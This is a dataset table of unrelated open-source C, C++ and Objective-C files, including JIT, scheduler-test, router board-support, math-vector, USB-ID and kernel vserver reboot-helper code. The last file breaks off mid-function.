text stringlengths 4 6.14k |
|---|
/* src/vm/jit/optimizing/ifconv.h - if-conversion
Copyright (C) 1996-2005, 2006, 2007 R. Grafl, A. Krall, C. Kruegel,
C. Oates, R. Obermaisser, M. Platter, M. Probst, S. Ring,
E. Steiner, C. Thalinger, D. Thuernbeck, P. Tomsich, C. Ullrich,
J. Wenninger, Institut f. Computersprachen - TU Wien
This file is part of CACAO.
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License as
published by the Free Software Foundation; either version 2, or (at
your option) any later version.
This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
02110-1301, USA.
$Id: stack.c 4455 2006-02-06 01:02:59Z edwin $
*/
#ifndef _IFCONV_H
#define _IFCONV_H
#include "config.h"
#include "vm/types.h"
#include "vm/jit/codegen-common.h"
#include "vm/jit/jit.h"
#include "vm/jit/reg.h"
#include "vmcore/method.h"
/* function prototypes ********************************************************/
bool ifconv_static(jitdata *jd);
#endif /* _IFCONV_H */
/*
* These are local overrides for various environment variables in Emacs.
* Please do not remove this and leave it at the end of the file, where
* Emacs will automagically detect them.
* ---------------------------------------------------------------------
* Local variables:
* mode: c
* indent-tabs-mode: t
* c-basic-offset: 4
* tab-width: 4
* End:
* vim:noexpandtab:sw=4:ts=4:
*/
|
/* SilcSchedule tests */
#include "silcruntime.h"
typedef void (*Callback)(void *context);
#define NUM_TTASK 200
#ifdef FD_SETSIZE
#define NUM_FTASK FD_SETSIZE
#else
#define NUM_FTASK 250
#endif
SilcSchedule schedule;
int c = 0;
void notify_cb(SilcSchedule schedule, SilcBool added, SilcTask task,
SilcBool fd_task, SilcUInt32 fd, SilcTaskEvent event,
long sec, long usec, void *context)
{
SILC_LOG_DEBUG(("Notify cb, %s %s task, fd %d, sec %d usec %d",
added ? "added" : "deleted", fd_task ? "fd" :"timeout",
fd, sec, usec));
}
SILC_TASK_CALLBACK(foo)
{
}
SILC_TASK_CALLBACK(timeout)
{
int i = (int)context;
SILC_LOG_DEBUG(("Timeout task %d", i));
SILC_LOG_DEBUG(("Send 'timeout' signal"));
if (!silc_schedule_event_signal(NULL, "timeout", NULL))
SILC_LOG_DEBUG(("Error sending signal, error %d", silc_errno));
}
SILC_TASK_CALLBACK(cont2)
{
#ifdef SILC_DEBUG
// silc_schedule_stats(schedule);
#endif /* SILC_DEBUG */
SILC_LOG_DEBUG(("Adding %d fd tasks", NUM_FTASK - 10));
#if 0
for (i = 0; i < NUM_FTASK - 10; i++)
silc_schedule_task_add_fd(schedule, i + 5, foo, (void *)(i + 5));
#endif
silc_schedule_event_signal(schedule, "interrupted", NULL, schedule);
}
SILC_TASK_CALLBACK(cont)
{
int i;
#ifdef SILC_DEBUG
// silc_schedule_stats(schedule);
#endif /* SILC_DEBUG */
SILC_LOG_DEBUG(("Adding %d timeout tasks", NUM_TTASK / 3));
for (i = 0; i < NUM_TTASK / 3; i++)
silc_schedule_task_add_timeout(schedule, timeout, (void *)i, 0, 0);
silc_schedule_task_add_timeout(schedule, cont2, (void *)i, 0, 100);
}
SILC_TASK_CALLBACK(start)
{
int i;
SILC_LOG_DEBUG(("Adding %d timeout tasks", NUM_TTASK));
#if 0
for (i = 0; i < NUM_TTASK; i++)
silc_schedule_task_add_timeout(schedule, timeout, (void *)i,
i + (i & 9999), (i * 720391) & 999999);
#endif
for (i = 0; i < NUM_TTASK; i++)
silc_schedule_task_add_timeout(schedule, timeout, (void *)i, 0, 1);
silc_schedule_task_add_timeout(schedule, cont, (void *)i, 0, 100);
}
SILC_TASK_CALLBACK(interrupt)
{
SILC_LOG_DEBUG(("SIGINT signal, send 'interrupted' event signal"));
if (!silc_schedule_event_signal(schedule, "interrupted", NULL,
schedule))
SILC_LOG_DEBUG(("Error sending signal, error %d", silc_errno));
}
SILC_TASK_EVENT_CALLBACK(timeout_event_cb)
{
SILC_LOG_DEBUG(("timeout event signalled"));
if (c++ == 100) {
silc_schedule_task_del_event(NULL, "timeout");
return FALSE;
}
return TRUE;
}
SILC_TASK_EVENT_CALLBACK(interrupted_event)
{
SilcSchedule ptr = va_arg(va, void *);
SILC_LOG_DEBUG(("interrupted event signalled, ptr %p", ptr));
silc_schedule_event_disconnect(NULL, "interrupted", NULL,
interrupted_event, NULL);
silc_schedule_stop(schedule);
return TRUE;
}
int main(int argc, char **argv)
{
SilcBool success = FALSE;
SilcSchedule child, child2;
SilcTask timeout_event;
if (argc > 1 && !strcmp(argv[1], "-d")) {
silc_log_debug(TRUE);
silc_log_quick(TRUE);
silc_log_debug_hexdump(TRUE);
silc_log_set_debug_string("*sched*,*hash*,*errno*");
}
SILC_LOG_DEBUG(("Allocating scheduler"));
schedule = silc_schedule_init(NUM_FTASK, NULL, NULL, NULL);
if (!schedule)
goto err;
silc_schedule_set_notify(schedule, notify_cb, NULL);
SILC_LOG_DEBUG(("Allocate child scheduler"));
child = silc_schedule_init(0, NULL, NULL, schedule);
if (!child)
goto err;
SILC_LOG_DEBUG(("Allocate another child scheduler"));
child2 = silc_schedule_init(0, NULL, NULL, child);
if (!child2)
goto err;
SILC_LOG_DEBUG(("Add 'interrupted' event to child scheduler"));
if (!silc_schedule_task_add_event(child, "interrupted",
SILC_PARAM_PTR))
goto err;
SILC_LOG_DEBUG(("Add 'timeout' event to parent scheduler"));
timeout_event =
silc_schedule_task_add_event(schedule, "timeout");
if (!timeout_event)
goto err;
SILC_LOG_DEBUG(("Connect to 'interrupted' event in parent scheduler"));
if (!silc_schedule_event_connect(schedule, "interrupted", NULL,
interrupted_event, NULL))
goto err;
SILC_LOG_DEBUG(("Connect to 'timeout' event in child2 scheduler"));
if (!silc_schedule_event_connect(child2, NULL, timeout_event,
timeout_event_cb, NULL))
goto err;
SILC_LOG_DEBUG(("Add parent as global scheduler"));
silc_schedule_set_global(schedule);
silc_schedule_task_add_signal(schedule, SIGINT, interrupt, NULL);
if (!silc_schedule_task_add_timeout(schedule, start, NULL, 1, 0))
goto err;
SILC_LOG_DEBUG(("Running scheduler"));
silc_schedule(schedule);
silc_schedule_uninit(schedule);
silc_schedule_uninit(child);
silc_schedule_uninit(child2);
success = TRUE;
err:
SILC_LOG_DEBUG(("Testing was %s", success ? "SUCCESS" : "FAILURE"));
fprintf(stderr, "Testing was %s\n", success ? "SUCCESS" : "FAILURE");
return !success;
}
|
/*
* Atheros AP83 board support
*
* Copyright (C) 2008-2009 Gabor Juhos <juhosg@openwrt.org>
* Copyright (C) 2008 Imre Kaloz <kaloz@openwrt.org>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 as published
* by the Free Software Foundation.
*/
#include <linux/delay.h>
#include <linux/platform_device.h>
#include <linux/mtd/mtd.h>
#include <linux/mtd/partitions.h>
#include <linux/spi/spi.h>
#include <linux/spi/spi_gpio.h>
#include <linux/spi/vsc7385.h>
#include <asm/mach-ar71xx/ar71xx.h>
#include <asm/mach-ar71xx/ar91xx_flash.h>
#include "machtype.h"
#include "devices.h"
#include "dev-ar913x-wmac.h"
#include "dev-gpio-buttons.h"
#include "dev-leds-gpio.h"
#include "dev-usb.h"
#define AP83_GPIO_LED_WLAN 6
#define AP83_GPIO_LED_POWER 14
#define AP83_GPIO_LED_JUMPSTART 15
#define AP83_GPIO_BTN_JUMPSTART 12
#define AP83_GPIO_BTN_RESET 21
#define AP83_050_GPIO_VSC7385_CS 1
#define AP83_050_GPIO_VSC7385_MISO 3
#define AP83_050_GPIO_VSC7385_MOSI 16
#define AP83_050_GPIO_VSC7385_SCK 17
#define AP83_BUTTONS_POLL_INTERVAL 20
#ifdef CONFIG_MTD_PARTITIONS
static struct mtd_partition ap83_flash_partitions[] = {
{
.name = "u-boot",
.offset = 0,
.size = 0x040000,
.mask_flags = MTD_WRITEABLE,
}, {
.name = "u-boot-env",
.offset = 0x040000,
.size = 0x020000,
.mask_flags = MTD_WRITEABLE,
}, {
.name = "kernel",
.offset = 0x060000,
.size = 0x140000,
}, {
.name = "rootfs",
.offset = 0x1a0000,
.size = 0x650000,
}, {
.name = "art",
.offset = 0x7f0000,
.size = 0x010000,
.mask_flags = MTD_WRITEABLE,
}, {
.name = "firmware",
.offset = 0x060000,
.size = 0x790000,
}
};
#endif /* CONFIG_MTD_PARTITIONS */
static struct ar91xx_flash_platform_data ap83_flash_data = {
.width = 2,
#ifdef CONFIG_MTD_PARTITIONS
.parts = ap83_flash_partitions,
.nr_parts = ARRAY_SIZE(ap83_flash_partitions),
#endif
};
static struct resource ap83_flash_resources[] = {
[0] = {
.start = AR71XX_SPI_BASE,
.end = AR71XX_SPI_BASE + AR71XX_SPI_SIZE - 1,
.flags = IORESOURCE_MEM,
},
};
static struct platform_device ap83_flash_device = {
.name = "ar91xx-flash",
.id = -1,
.resource = ap83_flash_resources,
.num_resources = ARRAY_SIZE(ap83_flash_resources),
.dev = {
.platform_data = &ap83_flash_data,
}
};
static struct gpio_led ap83_leds_gpio[] __initdata = {
{
.name = "ap83:green:jumpstart",
.gpio = AP83_GPIO_LED_JUMPSTART,
.active_low = 0,
}, {
.name = "ap83:green:power",
.gpio = AP83_GPIO_LED_POWER,
.active_low = 0,
}, {
.name = "ap83:green:wlan",
.gpio = AP83_GPIO_LED_WLAN,
.active_low = 0,
},
};
static struct gpio_button ap83_gpio_buttons[] __initdata = {
{
.desc = "soft_reset",
.type = EV_KEY,
.code = KEY_RESTART,
.threshold = 3,
.gpio = AP83_GPIO_BTN_RESET,
.active_low = 1,
}, {
.desc = "jumpstart",
.type = EV_KEY,
.code = KEY_WPS_BUTTON,
.threshold = 3,
.gpio = AP83_GPIO_BTN_JUMPSTART,
.active_low = 1,
}
};
static struct resource ap83_040_spi_resources[] = {
[0] = {
.start = AR71XX_SPI_BASE,
.end = AR71XX_SPI_BASE + AR71XX_SPI_SIZE - 1,
.flags = IORESOURCE_MEM,
},
};
static struct platform_device ap83_040_spi_device = {
.name = "ap83-spi",
.id = 0,
.resource = ap83_040_spi_resources,
.num_resources = ARRAY_SIZE(ap83_040_spi_resources),
};
static struct spi_gpio_platform_data ap83_050_spi_data = {
.miso = AP83_050_GPIO_VSC7385_MISO,
.mosi = AP83_050_GPIO_VSC7385_MOSI,
.sck = AP83_050_GPIO_VSC7385_SCK,
.num_chipselect = 1,
};
static struct platform_device ap83_050_spi_device = {
.name = "spi_gpio",
.id = 0,
.dev = {
.platform_data = &ap83_050_spi_data,
}
};
static void ap83_vsc7385_reset(void)
{
ar71xx_device_stop(RESET_MODULE_GE1_PHY);
udelay(10);
ar71xx_device_start(RESET_MODULE_GE1_PHY);
mdelay(50);
}
static struct vsc7385_platform_data ap83_vsc7385_data = {
.reset = ap83_vsc7385_reset,
.ucode_name = "vsc7385_ucode_ap83.bin",
.mac_cfg = {
.tx_ipg = 6,
.bit2 = 0,
.clk_sel = 3,
},
};
static struct spi_board_info ap83_spi_info[] = {
{
.bus_num = 0,
.chip_select = 0,
.max_speed_hz = 25000000,
.modalias = "spi-vsc7385",
.platform_data = &ap83_vsc7385_data,
.controller_data = (void *) AP83_050_GPIO_VSC7385_CS,
}
};
static void __init ap83_generic_setup(void)
{
u8 *eeprom = (u8 *) KSEG1ADDR(0x1fff1000);
ar71xx_add_device_mdio(0xfffffffe);
ar71xx_init_mac(ar71xx_eth0_data.mac_addr, eeprom, 0);
ar71xx_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_RGMII;
ar71xx_eth0_data.phy_mask = 0x1;
ar71xx_add_device_eth(0);
ar71xx_init_mac(ar71xx_eth1_data.mac_addr, eeprom, 1);
ar71xx_eth1_data.phy_if_mode = PHY_INTERFACE_MODE_RGMII;
ar71xx_eth1_data.speed = SPEED_1000;
ar71xx_eth1_data.duplex = DUPLEX_FULL;
ar71xx_eth1_pll_data.pll_1000 = 0x1f000000;
ar71xx_add_device_eth(1);
ar71xx_add_device_leds_gpio(-1, ARRAY_SIZE(ap83_leds_gpio),
ap83_leds_gpio);
ar71xx_add_device_gpio_buttons(-1, AP83_BUTTONS_POLL_INTERVAL,
ARRAY_SIZE(ap83_gpio_buttons),
ap83_gpio_buttons);
ar71xx_add_device_usb();
ar913x_add_device_wmac(eeprom, NULL);
platform_device_register(&ap83_flash_device);
spi_register_board_info(ap83_spi_info, ARRAY_SIZE(ap83_spi_info));
}
static void __init ap83_040_setup(void)
{
ap83_flash_data.is_shared = 1;
ap83_generic_setup();
platform_device_register(&ap83_040_spi_device);
}
static void __init ap83_050_setup(void)
{
ap83_generic_setup();
platform_device_register(&ap83_050_spi_device);
}
static void __init ap83_setup(void)
{
u8 *board_id = (u8 *) KSEG1ADDR(0x1fff1244);
unsigned int board_version;
board_version = (unsigned int)(board_id[0] - '0');
board_version += ((unsigned int)(board_id[1] - '0')) * 10;
switch (board_version) {
case 40:
ap83_040_setup();
break;
case 50:
ap83_050_setup();
break;
default:
printk(KERN_WARNING "AP83-%03u board is not yet supported\n",
board_version);
}
}
MIPS_MACHINE(AR71XX_MACH_AP83, "AP83", "Atheros AP83", ap83_setup);
|
#pragma once
//Vector4
#include "Vector3.h"
class Matrix;
class Vector4
{
public:
//Constructors
Vector4() : x(0.0f), y(0.0f), z(0.0f), w(0.0f) {}
Vector4(GLfloat _x, GLfloat _y, GLfloat _z) : x(_x), y(_y), z(_z), w(1.0f){}
Vector4(GLfloat _x, GLfloat _y, GLfloat _z, GLfloat _w) : x(_x), y(_y), z(_z), w(_w) {}
Vector4(GLfloat * pArg) : x(pArg[0]), y(pArg[1]), z(pArg[2]), w(pArg[3]) {}
Vector4( const Vector3 & vector) : x(vector.x), y(vector.y), z(vector.z), w(1.0f) {}
Vector4( const Vector3 & vector, GLfloat _w) : x(vector.x), y(vector.y), z(vector.z), w(_w) {}
Vector4( const Vector4 & vector) : x(vector.x), y(vector.y), z(vector.z), w(vector.w) {}
//Vector's operations
GLfloat Length() const ;
Vector4 & Normalize();
Vector4 operator + ( const Vector4 & vector) const ;
Vector4 & operator += ( const Vector4 & vector);
Vector4 operator - () const ;
Vector4 operator - ( const Vector4 & vector) const ;
Vector4 & operator -= ( const Vector4 & vector);
Vector4 operator * (GLfloat k) const ;
Vector4 & operator *= (GLfloat k);
Vector4 operator / (GLfloat k) const ;
Vector4 & operator /= (GLfloat k);
Vector4 & operator = (GLfloat* pArg);
Vector4 & operator = ( const Vector4 & vector);
bool operator == (const Vector4 & vector) const;
Vector4 Modulate( const Vector4 & vector) const ;
GLfloat Dot( const Vector4 & vector) const ;
//matrix multiplication
Vector4 operator * ( const Matrix & m ) const ;
//access to elements
GLfloat operator [] (unsigned int idx) const ;
//data members
union
{
struct
{
GLfloat x;
GLfloat y;
GLfloat z;
GLfloat w;
};
struct
{
GLfloat xyz[3];
};
struct
{
GLfloat xy[2];
};
};
};
|
//
// AppDelegate.h
// FirstAppforiPhone
//
// Created by Ke Yang on 10/15/14.
// Copyright (c) 2014 Ke Yang. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface AppDelegate : UIResponder <UIApplicationDelegate>
@property (strong, nonatomic) UIWindow *window;
@end
|
#ifndef __MARKFIFO_H
#define __MARKFIFO_H
#define FIFONAME "/tmp/markFifo"
#define FIFOMODE (0666)
#define DATASIZE 64
#endif
|
/*
*** Integer Variable and Array
*** src/parser/integer.h
Copyright T. Youngs 2007-2018
This file is part of Aten.
Aten is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Aten is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Aten. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef ATEN_INTEGERVARIABLE_H
#define ATEN_INTEGERVARIABLE_H
#include "parser/variable.h"
#include "parser/accessor.h"
#include "base/namespace.h"
ATEN_BEGIN_NAMESPACE
// Integer Variable
class IntegerVariable : public Variable
{
public:
// Constructor / Destructor
IntegerVariable(int i = 0, bool constant = false);
~IntegerVariable();
/*
* Set / Get
*/
public:
// Return value of node
bool execute(ReturnValue& rv);
// Set from returnvalue node
bool set(ReturnValue& rv);
// Reset variable
void reset();
/*
* Variable Data
*/
private:
// Integer data
int integerData_;
// Print node contents
void nodePrint(int offset, const char* prefix);
};
// Integer Array Variable
class IntegerArrayVariable : public ArrayVariable
{
public:
// Constructor / Destructor
IntegerArrayVariable(TreeNode* sizeexpr, bool constant = false);
~IntegerArrayVariable();
/*
* Set / Get
*/
public:
// Return value of node
bool execute(ReturnValue& rv);
// Return value of node as array
bool executeAsArray(ReturnValue& rv, int arrayIndex);
// Set from returnvalue node
bool set(ReturnValue& rv);
// Set from returnvalue node as array
bool setAsArray(ReturnValue& rv, int arrayIndex);
// Reset variable
void reset();
/*
* Variable Data
*/
private:
// Integer data
int *integerArrayData_;
// Print node contents
void nodePrint(int offset, const char* prefix);
public:
// Return array pointer
int *arrayData();
/*
* Inherited Virtuals
*/
public:
// Initialise node (take over from Variable::initialise())
bool initialise();
};
ATEN_END_NAMESPACE
#endif
|
#ifndef BINHEADER_H
#define BINHEADER_H
#include "BinFile.h"
#include "BinImage.h"
using namespace std;
class BinFile;
class BinHeader
{
public:
BinHeader(size_t offset, size_t size, size_t g, BinImage *image);
~BinHeader();
BinImage *get_image(void);
size_t get_g(void);
size_t get_offset(void);
size_t get_size(void);
void update_size(void);
private:
size_t _g;
size_t _offset;
size_t _size;
BinImage *_image;
};
#endif
|
//
// AppDelegate.h
// SaigeTest
//
// Created by tony_chen on 13-8-27.
// Copyright (c) 2013年 tony_chen. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface AppDelegate : UIResponder <UIApplicationDelegate>
@property (strong, nonatomic) UIWindow *window;
@end
|
/*
* Copyright(C) 2011-2012 FUJITSU LIMITED
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; version 2
* of the License.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#ifndef __LINUX_USBID_H
#define __LINUX_USBID_H
#define USB_ID_FACTORY 0x1111
/* FUJITSU:2011-10-18 LOGMOOD start */
#define USB_ID_LOGMOOD 0x1112
/* FUJITSU:2011-10-18 LOGMOOD end */
#ifdef CONFIG_MACH_F11SKY
#define ENABLE_NVREAD_IF
//#define ENABLE_PWSTRING_IF
#define USB_ID_MSC 0x12e8
#define USB_ID_MSC_ADB 0x12e8
#define USB_ID_RNDIS 0x12e9
#define USB_ID_RNDIS_ADB 0x12e9
#define USB_ID_DEBUG 0x12ea
#define USB_ID_DEBUG_ADB 0x12ea
#define USB_ID_RNDIS_DEBUG 0x12eb
#define USB_ID_RNDIS_DEBUG_ADB 0x12eb
#define USB_ID_ALADN 0x12ed
#endif /* CONFIG_MACH_F11SKY */
#ifdef CONFIG_MACH_F11APO
#define ENABLE_NVREAD_IF
//#define ENABLE_PWSTRING_IF
#define USB_ID_MSC 0x12f3
#define USB_ID_MSC_ADB 0x12f3
#define USB_ID_RNDIS 0x12f4
#define USB_ID_RNDIS_ADB 0x12f4
#define USB_ID_DEBUG 0x12f5
#define USB_ID_DEBUG_ADB 0x12f5
#define USB_ID_RNDIS_DEBUG 0x12f6
#define USB_ID_RNDIS_DEBUG_ADB 0x12f6
#define USB_ID_ALADN 0x12f8
#endif /* CONFIG_MACH_F11APO */
/* FUJITSU:2011-12-15 F12APON start */
#ifdef CONFIG_MACH_F12APON
#define ENABLE_NVREAD_IF
//#define ENABLE_PWSTRING_IF
#define USB_ID_MTP 0x135c
#define USB_ID_MTP_ADB 0x135c
#define USB_ID_PTP 0x135d
#define USB_ID_PTP_ADB 0x135d
#define USB_ID_MSC 0x12f3
#define USB_ID_MSC_ADB 0x12f3
#define USB_ID_RNDIS 0x12f4
#define USB_ID_RNDIS_ADB 0x12f4
#define USB_ID_DEBUG 0x12f5
#define USB_ID_DEBUG_ADB 0x12f5
#define USB_ID_ALADN 0x12f8
#endif /* CONFIG_MACH_F12APON */
/* FUJITSU:2011-12-15 F12APON end */
/* FUJITSU:2012-03-06 F09D start */
#ifdef CONFIG_MACH_F09D
//#define ENABLE_NVREAD_IF
//#define ENABLE_PWSTRING_IF
#define USB_ID_MTP 0x1342
#define USB_ID_MTP_ADB 0x1342
#define USB_ID_PTP 0x1343
#define USB_ID_PTP_ADB 0x1343
#define USB_ID_RNDIS 0x1344
#define USB_ID_RNDIS_ADB 0x1344
#define USB_ID_ALADN 0x1345
#define USB_ID_DEBUG 0x1346
#define USB_ID_DEBUG_ADB 0x1346
#endif /* CONFIG_MACH_F09D */
/* FUJITSU:2012-03-06 F09D end */
/* FUJITSU:2012-04-23 F12NAD start */
#ifdef CONFIG_MACH_F12NAD
//#define ENABLE_NVREAD_IF
//#define ENABLE_PWSTRING_IF
#define USB_ID_MTP 0x1356
#define USB_ID_MTP_ADB 0x1356
#define USB_ID_PTP 0x1357
#define USB_ID_PTP_ADB 0x1357
#define USB_ID_RNDIS 0x1358
#define USB_ID_RNDIS_ADB 0x1358
#define USB_ID_ALADN 0x1359
#define USB_ID_DEBUG 0x135A
#define USB_ID_DEBUG_ADB 0x135A
#endif /* CONFIG_MACH_F12NAD */
/* FUJITSU:2012-04-23 F12NAD end */
#ifdef CONFIG_MACH_FJI12
#define ENABLE_NVREAD_IF
//#define ENABLE_PWSTRING_IF
#define USB_ID_MSC 0x12f9
#define USB_ID_MSC_ADB 0x12f9
#define USB_ID_RNDIS 0x12fa
#define USB_ID_RNDIS_ADB 0x12fa
#define USB_ID_DEBUG 0x12fb
#define USB_ID_DEBUG_ADB 0x12fb
#define USB_ID_RNDIS_DEBUG 0x12fc
#define USB_ID_RNDIS_DEBUG_ADB 0x12fc
#define USB_ID_ALADN 0x12f8
#endif /* CONFIG_MACH_FJI12 */
#endif /* __LINUX_USBID_H */
|
/****************************************************************************
*
* Copyright (c) 2006 Dave Hylands <dhylands@gmail.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*
****************************************************************************/
/**
*
* @file Switch.h
*
* @brief Provides switch debounc logic. The original algorithim for this
* was posted by Craig Limber:
* http://members.shaw.ca/climber/avrbuttons.html
*
****************************************************************************/
#if !defined( SWITCH_H )
#define SWITCH_H /**< Include Guard */
/* ---- Include Files ---------------------------------------------------- */
#include <stdint.h>
#include "Config.h"
/* ---- Constants and Types ---------------------------------------------- */
// This file expects the following options to be defined in Config.h
//
// CFG_NUM_SWITCHES - Determines the total number of switches that
// will be checked.
//
// CFG_SWITCH_BOUNCE_ON_COUNT - Determines the number of times that the
// the swith needs to be seen on before it's
// considered to be really on.
//
// CFG_SWITCH_BOUNCE_OFF_COUNT - Determines the number of times that the
// the swith needs to be seen off before it's
// considered to be really off.
//
// The caller is responsible for setting up the raw switch states and
// calling CheckSwitches on some type of periodic basis - assumed to be once
// every 10 msec, but this is pretty arbitrary.
#if !defined( CFG_NUM_SWITCHES )
# error CFG_NUM_SWITCHES not defined
#endif
#if !defined( CFG_SWITCH_BOUNCE_ON_COUNT )
# define CFG_SWITCH_BOUNCE_ON_COUNT 3
#endif
#if !defined( CFG_SWITCH_BOUNCE_OFF_COUNT )
# define CFG_SWITCH_BOUNCE_OFF_COUNT CFG_SWITCH_BOUNCE_ON_COUNT
#endif
#if defined( AVR )
typedef uint8_t SwitchEvent_t;
typedef uint8_t SwitchNum_t;
typedef uint8_t SwitchBool_t;
#else
typedef unsigned SwitchEvent_t;
typedef unsigned SwitchNum_t;
typedef unsigned SwitchBool_t;
#endif
typedef uint8_t SwitchCount_t;
typedef uint8_t SwitchState_t;
#define SWITCH_EVENT_RELEASED 0
#define SWITCH_EVENT_PRESSED 1
/* ---- Variable Externs ------------------------------------------------- */
#define NUM_SWITCH_BYTES (( CFG_NUM_SWITCHES + 7 ) / 8 )
extern uint8_t gSwitchRaw[ NUM_SWITCH_BYTES ];
extern uint8_t gSwitchEnabled[ NUM_SWITCH_BYTES ];
#define SWITCH_RAW_BYTE( sw ) (gSwitchRaw[ (sw) / 8 ])
#define SWITCH_ENABLED_BYTE( sw ) (gSwitchEnabled[ (sw) / 8 ])
#define SWITCH_MASK( sw ) ( 1 << ( sw & 7 ))
/* ---- Inline Functions ------------------------------------------------- */
/***************************************************************************/
/**
* Checks to see if a switch is pressed. This is a raw check and doesn't
* factor debouncing into the equation
*/
static inline SwitchBool_t IsRawSwitchPressed( SwitchNum_t sw )
{
return ( SWITCH_RAW_BYTE( sw ) & SWITCH_MASK( sw )) != 0;
} // IsRawSwitchPressed
/***************************************************************************/
/**
* Checks to see if a switch is enabled.
*/
static inline SwitchBool_t IsSwitchEnabled( SwitchNum_t sw )
{
return ( SWITCH_ENABLED_BYTE( sw ) & SWITCH_MASK( sw )) != 0;
} // IsSwitchEnabled
/***************************************************************************/
/**
* Sets an individual switch as being set or cleared.
*/
static inline void SetRawSwitch( SwitchNum_t sw, SwitchBool_t isSet )
{
if ( isSet )
{
SWITCH_RAW_BYTE( sw ) |= SWITCH_MASK( sw );
}
else
{
SWITCH_RAW_BYTE( sw ) &= ~SWITCH_MASK( sw );
}
} // SetRawSwitch
/***************************************************************************/
/**
* Enables a switch for processing.
*/
static inline void EnableSwitch( SwitchNum_t sw )
{
SWITCH_ENABLED_BYTE( sw ) |= SWITCH_MASK( sw );
} // EnableSwitch
/***************************************************************************/
/**
* Disables a switch for processing.
*/
static inline void DisableSwitch( SwitchNum_t sw )
{
SWITCH_ENABLED_BYTE( sw ) &= ~SWITCH_MASK( sw );
} // EnableSwitch
/* ---- Function Prototypes ---------------------------------------------- */
void CheckSwitches( void );
// The caller is expected to provide the SwitchEvent fnuction with the
// following prototype.
void SwitchEvent( SwitchNum_t switchNum, SwitchEvent_t event );
#endif // SWITCH_H
|
/**
* @file r_array.h
*/
/*
Copyright(c) 1997-2001 Id Software, Inc.
Copyright(c) 2002 The Quakeforge Project.
Copyright(c) 2006 Quake2World.
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#ifndef R_ARRAY_H
#define R_ARRAY_H
void R_ResetArrayState(void);
void R_SetArrayState(const struct model_s *mod);
#endif
|
/*
* linux/kernel/vserver/helper.c
*
* Virtual Context Support
*
* Copyright (C) 2004-2007 Herbert Pötzl
*
* V0.01 basic helper
*
*/
#include <linux/kmod.h>
#include <linux/reboot.h>
#include <linux/vs_context.h>
#include <linux/vs_network.h>
#include <linux/vserver/signal.h>
char vshelper_path[255] = "/sbin/vshelper";
static int do_vshelper(char *name, char *argv[], char *envp[], int sync)
{
int ret;
if ((ret = call_usermodehelper(name, argv, envp, sync))) {
printk( KERN_WARNING
"%s: (%s %s) returned %s with %d\n",
name, argv[1], argv[2],
sync ? "sync" : "async", ret);
}
vxdprintk(VXD_CBIT(switch, 4),
"%s: (%s %s) returned %s with %d",
name, argv[1], argv[2], sync ? "sync" : "async", ret);
return ret;
}
/*
* vshelper path is set via /proc/sys
* invoked by vserver sys_reboot(), with
* the following arguments
*
* argv [0] = vshelper_path;
* argv [1] = action: "restart", "halt", "poweroff", ...
* argv [2] = context identifier
*
* envp [*] = type-specific parameters
*/
long vs_reboot_helper(struct vx_info *vxi, int cmd, void __user *arg)
{
char id_buf[8], cmd_buf[16];
char uid_buf[16], pid_buf[16];
int ret;
char *argv[] = {vshelper_path, NULL, id_buf, 0};
char *envp[] = {"HOME=/", "TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
uid_buf, pid_buf, cmd_buf, 0};
if (vx_info_state(vxi, VXS_HELPER))
return -EAGAIN;
vxi->vx_state |= VXS_HELPER;
snprintf(id_buf, sizeof(id_buf)-1, "%d", vxi->vx_id);
snprintf(cmd_buf, sizeof(cmd_buf)-1, "VS_CMD=%08x", cmd);
snprintf(uid_buf, sizeof(uid_buf)-1, "VS_UID=%d", current->uid);
snprintf(pid_buf, sizeof(pid_buf)-1, "VS_PID=%d", current->pid);
switch (cmd) {
case LINUX_REBOOT_CMD_RESTART:
argv[1] = "restart";
break;
case LINUX_REBOOT_CMD_HALT:
argv[1] = "halt";
break;
case LINUX_REBOOT_CMD_POWER_OFF:
argv[1] = "poweroff";
break;
case LINUX_REBOOT_CMD_SW_SUSPEND:
argv[1] = "swsusp";
break;
default:
vxi->vx_state &= ~VXS_HELPER;
return 0;
}
ret = do_vshelper(vshelper_path, argv, envp, 0);
vxi->vx_state &= ~VXS_HELPER;
__wakeup_vx_info(vxi);
return (ret) ? -EPERM : 0;
}
long vs_reboot(unsigned int cmd, void __user *arg)
{
struct vx_info *vxi = current->vx_info;
long ret = 0;
vxdprintk(VXD_CBIT(misc, 5),
"vs_reboot(%p[#%d],%d)",
